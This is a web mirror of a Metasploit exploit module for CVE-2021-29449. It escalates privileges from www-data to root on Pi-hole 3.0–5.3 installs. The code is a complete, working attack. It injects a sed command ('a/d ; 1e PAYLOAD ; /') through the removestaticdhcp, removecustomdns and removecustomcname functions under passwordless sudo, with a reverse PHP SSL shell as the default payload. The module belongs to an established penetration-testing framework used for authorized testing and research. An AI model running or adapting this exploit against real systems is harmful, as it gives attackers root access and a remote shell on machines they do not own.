Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/pihole_remove_commands_lpe.rb
23592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GreatRanking
8
9
# includes: is_root?
10
include Msf::Post::Linux::Priv
11
# includes writable?, upload_file, upload_and_chmodx, exploit_data
12
include Msf::Post::File
13
# for whoami
14
include Msf::Post::Unix
15
# for get_session_pid needed by whoami
16
include Msf::Post::Linux::System
17
prepend Msf::Exploit::Remote::AutoCheck
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',
24
'Description' => %q{
25
Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,
26
removecustomdns, and removestaticdhcp functions without properly validating
27
the parameters before passing to sed. When executed as the www-data user,
28
this allows for a privilege escalation to root since www-data is in the
29
sudoers.d/pihole file with no password.
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'h00die', # msf module
34
'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis
35
],
36
'Platform' => [ 'unix', 'linux' ],
37
'Arch' => [ ARCH_CMD ],
38
'SessionTypes' => [ 'shell', 'meterpreter' ],
39
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },
40
'Payload' => {
41
'BadChars' => "\x27" # '
42
},
43
'Privileged' => true,
44
'References' => [
45
[ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ],
46
[ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],
47
[ 'CVE', '2021-29449' ]
48
],
49
'DisclosureDate' => '2021-04-20',
50
'Notes' => {
51
'Stability' => [CRASH_SAFE],
52
'Reliability' => [REPEATABLE_SESSION],
53
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
54
},
55
'Targets' => [
56
['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec
57
['DNS', { 'min' => Rex::Version.new('5.0') }],
58
['CNAME', { 'min' => Rex::Version.new('5.1') }],
59
],
60
'DefaultTarget' => 0
61
)
62
)
63
end
64
65
def sudo_pihole
66
'sudo -n /usr/local/bin/pihole -a'
67
end
68
69
def pihole_version
70
version = cmd_exec('sudo -n /usr/local/bin/pihole -v')
71
/Pi-hole version is v([^ ]+)/ =~ version
72
Rex::Version.new(Regexp.last_match(1))
73
end
74
75
def check
76
w = whoami
77
print_status("Current user: #{w}")
78
v = pihole_version
79
print_status("Pi-hole version: #{v}")
80
unless v.between?(target['min'], Rex::Version.new('5.3'))
81
return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")
82
end
83
unless w == 'www-data'
84
return CheckCode::Safe("User must be www-data, currently #{w}")
85
end
86
87
CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")
88
end
89
90
def method_dhcp
91
f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'
92
if !file?(f) || read_file(f).empty?
93
mac = Faker::Internet.mac_address
94
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
95
print_status("Adding static DHCP #{mac} #{ip}")
96
cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")
97
end
98
unless file?(f)
99
print_error("Config file not found: #{f}")
100
return
101
end
102
print_good("#{f} found!")
103
print_status('Executing payload against removestaticdhcp command')
104
cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'")
105
if mac
106
cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")
107
end
108
end
109
110
def method_dns
111
f = '/etc/pihole/custom.list'
112
if !file?(f) || read_file(f).empty?
113
name = Faker::Internet.domain_name
114
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
115
print_status("Adding DNS entry #{name} #{ip}")
116
cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'")
117
end
118
unless file?(f)
119
print_error("Config file not found: #{f}")
120
return
121
end
122
print_good("#{f} found!")
123
print_status('Executing payload against removecustomdns command')
124
cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'")
125
if name
126
cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'")
127
end
128
end
129
130
def method_cname
131
f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf'
132
if !file?(f) || read_file(f).empty?
133
name = "#{rand_text_alphanumeric(8..12)}.edu"
134
print_status("Adding CNAME entry #{name}")
135
cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'")
136
end
137
unless file?(f)
138
print_error("Config file not found: #{f}")
139
return
140
end
141
print_good("#{f} found!")
142
print_status('Executing payload against removecustomcname command')
143
cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'")
144
if name
145
cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'")
146
end
147
end
148
149
def exploit
150
if target.name == 'DHCP'
151
method_dhcp
152
elsif target.name == 'DNS'
153
method_dns
154
elsif target.name == 'CNAME'
155
method_cname
156
end
157
end
158
end
159
160